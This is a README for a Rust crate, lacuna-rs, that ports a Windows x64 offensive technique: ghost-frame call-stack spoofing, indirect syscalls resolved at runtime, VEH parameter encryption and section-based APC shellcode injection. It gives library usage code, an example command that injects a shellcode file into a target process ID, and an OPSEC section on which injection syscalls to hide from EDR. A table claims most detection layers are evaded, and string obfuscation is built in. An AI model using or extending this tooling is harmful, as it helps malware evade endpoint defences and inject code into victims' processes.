Files
Karkas66-lacuna-rs/README.md
T

17 KiB

lacuna-rs

Ghost-frame call-stack spoofing + runtime indirect syscalls for Windows x64 — ported to Rust.

Ported from LACUNA Chain (lacuna_chain.c) by Mohamed Alzhrani (0xmaz).

lacuna-rs is a reusable Rust crate that provides the same primitives as the original C TTP, structured so it can be dropped into any Rust project — like wsyscall-rs or syscalls-rs, but with runtime SSN resolution, per-function syscall;ret targeting, and ghost-frame stack spoofing.


Critical: Frame-Pointer Requirement

The stack-spoof feature will silently fail if the consuming crate is not compiled with frame pointers.

The stack-stomping primitives in chain.rs locate the caller's return-address slot via mov rbp, {x} inline asm. This requires the RBP chain to be intact. Rust (and most release-mode compilers) omit frame pointers by default.

build.rs sets force-frame-pointers=yes for this crate's own codegen, but Cargo cannot propagate compiler flags to downstream crates. You must add this to your own project:

# .cargo/config.toml  (in YOUR crate, not in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

Without this, stomp_plant() will read garbage from RBP and either no-op (best case) or corrupt the stack (worst case). The crate has no way to detect at runtime whether frame pointers are enabled — it will simply not work.

If you only need the scanning, SSN resolution, or injection primitives (without stack spoofing), you can omit the stack-spoof feature and this requirement does not apply.


What it does

Primitive C function Rust module
PE section + export parsing pe_section(), pe_export() pe
.pdata ghost-region scanning scan_ghosts(), best_ghost() scan
Ghost-gadget discovery (jmp [rbx]) scan_ghost_gadgets() scan
win32u NOP-gap finder win32u_nop_gap() scan
BYOUD-MF anchor finder find_mf_target() scan
SSN resolution (Hell's Gate / Halo's Gate) resolve_ssn() nt
Per-function syscall;ret locator find_func_syscall() nt
JIT indirect-syscall stub emission alloc_stub() stub
Ghost-gadget stub redirect (in alloc_stub()) stub
VEH + hardware-breakpoint param encryption param_encrypt_veh(), pcrypt_arm() veh
Chain-guard VEH chain_veh() veh
LACUNA chain construction build_chain() chain
Stack stomp (BYOUD-RT) stomp_plant(), stomp_restore() chain
Chain walker (verify) lacuna_walk_chain() chain
Section-based APC injection do_inject_sapc() inject

Feature flags

[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
Feature Description Requires frame pointers?
syscalls (default) SSN resolution + JIT stub emission No
inject (default) Section-based APC injection (inject::inject_sapc) No
veh VEH + hardware-breakpoint parameter encryption No
stack-spoof LACUNA ghost-frame chain + stack stomp Yes
no-std no_std mode (experimental) No

When no features are enabled, only the scanning/PE/NT layers are available.


Quick start

Scan for ghost regions

cargo run --example scan

Build + verify the ghost-frame chain

cargo run --example verify --features stack-spoof

Inject shellcode via section + APC

Injection proof Injection Example with real implant - C2 was offline but the Shellcode executed

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>

Add --verbose to enable VEH diagnostic output (stack dumps, register prints):

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose

Thread scoring algorithm

Instead of queueing APCs to every thread in the target process (which can crash the process when too many threads are alerted simultaneously), inject_sapc uses a scoring algorithm to select the best MAX_APC_THREADS (5) candidates:

  • Cycle timeNtQueryInformationThread(ThreadCycleTime) — primary activity indicator
  • CPU timeNtQueryInformationThread(ThreadTimes) — kernel + user time
  • Suspend countNtQueryInformationThread(ThreadSuspendCount) — non-suspended threads get +300 bonus; suspended threads get -150 per suspend count
  • PriorityNtQueryInformationThread(ThreadBasicInformation) — threads with priority 8-10 get +150 bonus; out-of-range priorities get -100 penalty

Completely idle threads (zero cycles and zero CPU time) are skipped entirely. The remaining candidates are sorted by score (highest first, tie-break on cycles) and truncated to the top 5.


Using as a library

Basic: scan + SSN resolution

use lacuna::{scan, nt, win::get_module};

let ntdll = get_module(b"ntdll.dll\0");

// Scan for ghost regions
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);

// Resolve SSN + syscall;ret for a specific function
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);

Emit an indirect syscall stub for any NT API

use lacuna::{nt, stub, win::{get_module, HMODULE}};

let ntdll: HMODULE = get_module(b"ntdll.dll\0");

// Resolve SSN + the function's own syscall;ret address
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);

// JIT-emit a stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (or jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret if build_chain was called)
let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed");

// Cast to the matching function pointer type and call
let alloc_vm: unsafe extern "system" fn(
    win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };

Build the ghost-frame chain + register VEH

// Scan ntdll/kernelbase/wow64/win32u for ghost regions and construct
// the six-layer fake call stack. Sets G_GHOST_GADGET so stubs route
// through JMP [RBX] in a signed DLL.
lacuna::chain::build_chain();

// Register VEH handlers (param encryption + chain guard)
let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed");

// Optional: enable verbose diagnostics at runtime
lacuna::veh::set_verbose(true);

Wrap a sensitive syscall with stack spoof + param encryption

use lacuna::win::HANDLE;
use core::ptr;

let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;

// Plant ghost frames (replaces return addresses with signed-DLL ghosts)
lacuna::chain::stomp_plant();

// Arm DR0 on the syscall;ret -- VEH will XOR-decrypt params at the boundary
lacuna::veh::pcrypt_arm(key, syscall_ret, true);

// Call through the indirect stub -- RIP lands inside ntdll at kernel entry
let _status = unsafe { open_proc(/* XOR-encrypted params */) };

// Always disarm before any non-protected call
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();

OPSEC: What to hide behind ghost frames

Not every API call needs the full LACUNA treatment. The key principle is: hide the calls that an EDR would correlate as injection or post-exploitation activity.

Must be behind indirect syscalls + ghost frames + param encryption

These are the "crown jewel" NT syscalls that EDRs hook and correlate:

Call Why it's sensitive
NtOpenProcess Opens a handle to another process -- first step of injection
NtCreateSection + NtMapViewOfSection (remote) Section-based injection signature
NtWriteVirtualMemory Cross-process write -- classic injection indicator
NtCreateThreadEx Remote thread creation -- highest-signal injection primitive
NtQueueApcThread APC injection -- high-signal
NtProtectVirtualMemory RWX permission changes -- shellcode staging indicator
NtAllocateVirtualMemory (remote) Remote allocation -- injection prelude
NtSetInformationThread Thread hiding (HideFromDebugger) -- evasion indicator

For each of these:

  1. Resolve with nt::resolve(ntdll, b"NtXxx\0")
  2. Emit a stub with stub::make_stub(ssn, syscall_ret)
  3. XOR-encrypt sensitive parameters with veh::pcrypt_arm(key, syscall_ret, true)
  4. Wrap the call between chain::stomp_plant() and chain::stomp_restore()

Can be direct (no ghost frames needed)

Call Why it's safe
NtQueryInformationThread Query-only, rarely hooked, no cross-process write
NtDelayExecution Sleep -- benign, used by every application
NtClose Handle close -- benign, extremely common
GetModuleHandleA / GetProcAddress Module resolution -- not a syscall, not hookable by EDR userland hooks
CreateToolhelp32Snapshot / Thread32First / Thread32Next Thread enumeration -- kernel32, not ntdll syscall
OpenThread / CloseHandle Standard handle ops -- kernel32
GetThreadContext / SetThreadContext Needed for DR0 -- kernel32, self-process only

Key principles

  1. Resolve any NT syscall with nt::resolve(ntdll, b"NtXxx\0") -- returns (SSN, syscall_ret_VA).
  2. Emit a JIT stub with stub::make_stub(ssn, syscall_ret) -- returns a callable function pointer.
  3. Cast the stub to the appropriate extern "system" fn(...) type via core::mem::transmute.
  4. (For sensitive calls only) Build the ghost-frame chain with chain::build_chain() and call chain::stomp_plant() / chain::stomp_restore() around the call.
  5. (For sensitive calls only) Arm parameter encryption with veh::pcrypt_arm(key, syscall_ret, true) before the call, and veh::pcrypt_disarm() after.
  6. Always disarm the VEH before making non-protected calls -- a stray DR0 hit on an unarmed syscall will crash.
  7. All output strings must be wrapped in lc!() -- the crate enforces this, and the VEH diagnostics are gated behind set_verbose(true) which defaults to off.

The stub handles the mov r10, rcx / mov eax, SSN / jmp [syscall;ret] sequence automatically. If a ghost gadget was registered, the stub routes through JMP [RBX] for dual-use execution redirect + zero-artifact bridge frame.


Writeup Coverage Verification

All 9 key contributions from the LACUNA Chain writeup are represented in the code:

# Writeup Concept Code Location Description
1 BYOUD-Gap (zero .pdata modification) chain.rs -- ghost frame chain construction Exploits gaps between RUNTIME_FUNCTION entries; unwinder treats them as leaf frames (RSP += 8)
2 ETW-Ti APC Window Attack inject.rs -- NtDelayExecution alertable drain Controls when the ETW-Ti APC stack snapshot fires by manipulating thread alertable state
3 Parameter Encryption in BYOUD Context veh.rs -- pcrypt_arm(), param_encrypt_veh() XOR-encrypts syscall params at staging; decrypts inside a hardware-breakpoint VEH at the syscall instruction
4 Win32u NOP Gap Chain + Ghost Gadget scan.rs -- win32u_nop_gap(), scan_ghost_gadgets() 1,242 NOP gaps in win32u.dll provide whitelisted leaf frames; JMP [RBX] ghost gadget at ntdll+0xFC47B
5 kernelbase Semantic Ghost Proximity chain.rs -- L2_kbase layer near VirtualProtect 238-byte ghost ending at VirtualProtect's entry point -- indistinguishable from a real VP return site
6 BYOUD-MF (Machine Frame RSP Teleport) chain.rs -- MachFrame struct, scan.rs -- find_mf_target() Exploits UWOP_PUSH_MACHFRAME (opcode 10) in KiUser* dispatchers for arbitrary RSP teleport in a single frame
7 BYOUD-RT (Runtime RSP Calculation) chain.rs -- teb_stack_base(), teb_stack_limit() Reads TEB.StackBase (GS:[0x08]) at call time to compute exact frame distance -- no pre-calibration needed
8 wow64.dll Ghost Proximity chain.rs -- L1_wow64 layer, scan.rs -- targets Wow64PrepareForException 91-byte ghost ending at Wow64PrepareForException entry -- fourth semantic layer for the chain
9 Six-Layer LACUNA Chain chain.rs -- LacunaStack struct (L1-L5 + MachFrame) Full chain: KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart

Detection surface coverage

Detection Layer Status Implementation
Module-of-origin check EVADED All frames in ntdll / kernelbase / wow64 / win32u
Unwind walk correctness EVADED All lacuna frames are leaf -> valid RSP+8
.pdata forensic scan EVADED Zero modification; gaps are pre-existing
CET shadow stack EVADED Pure leaf chain; shadow stack not consulted
Semantic frame analysis EVADED WoW64 exception + VirtualProtect adjacency
Win32u rule exemption EVADED Layer 4 explicitly excluded by all rules
ETW-Ti STACKWALK EVADED APC window attack controls snapshot timing
Parameter inspection EVADED HW breakpoint VEH decryption
Kernel callbacks PARTIAL Handle operations still fire ObRegisterCallbacks

Why not just use syscalls-rs?

syscalls-rs and wsyscall-rs generate a build-time SSN table from a specific Windows build's ntdll. If the target machine runs a different build, the SSNs are wrong and syscalls fail (or trip EDR heuristics).

lacuna-rs resolves SSNs at runtime by reading ntdll's stubs directly, and targets the function's own syscall;ret instruction so RIP is inside ntdll at kernel entry -- defeating the EDR "SSN mismatch" and "indirect syscall from unbacked memory" heuristics.

Additionally, lacuna-rs provides the ghost-frame stack spoofing chain that syscalls-rs does not.


Build requirements

  • Target: x86_64-pc-windows-msvc (or x86_64-pc-windows-gnu)
  • Rust edition: 2021
  • Dependencies: litcrypt2 (compile-time string obfuscation)

Frame-pointer setup (for stack-spoof only)

The stack-spoof feature requires frame pointers. build.rs sets force-frame-pointers=yes automatically for this crate, but consuming crates must also set it in their .cargo/config.toml:

# .cargo/config.toml (in the consuming crate)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

litcrypt2 string obfuscation

All string literals in the crate and examples are wrapped in lc!() macros, which encrypt them at compile time and decrypt at runtime. The encryption key is read from the LITCRYPT_ENCRYPT_KEY environment variable; if unset, litcrypt2 auto-generates a random key.

To pin a key for reproducible builds:

set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build

Architecture

lacuna-rs/
├── Cargo.toml
├── build.rs              # Sets force-frame-pointers for stack-spoof
├── src/
│   ├── lib.rs            # Crate root + re-exports + scan_all() + litcrypt2 setup
│   ├── win.rs            # Win32/NT FFI bindings (no_std-compatible)
│   ├── pe.rs             # PE section + export parsing
│   ├── scan.rs           # .pdata ghost-region + gadget scanning
│   ├── nt.rs             # SSN resolution + syscall;ret targeting
│   ├── stub.rs           # JIT indirect-syscall stub emission
│   ├── veh.rs            # VEH + hardware-breakpoint param encryption
│   ├── chain.rs          # LACUNA ghost-frame chain + stomp
│   └── inject.rs         # Section-based APC injection
├── examples/
│   ├── scan.rs           # lacuna.exe scan
│   ├── verify.rs         # lacuna.exe verify
│   └── inject.rs         # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
    └── config.toml       # force-frame-pointers + windows-msvc target

Credits

Full Disclosure

This project was activly assisted by an AI Chatbot. I had the chance to test a newer, very capable Open Source Model (GLM-5.2 by Z.ai (Zhipu AI)) and wanted to give it a challenging task. Lessons learned: It worked well if the human knows what results shall look like. If not... only crap

License

MIT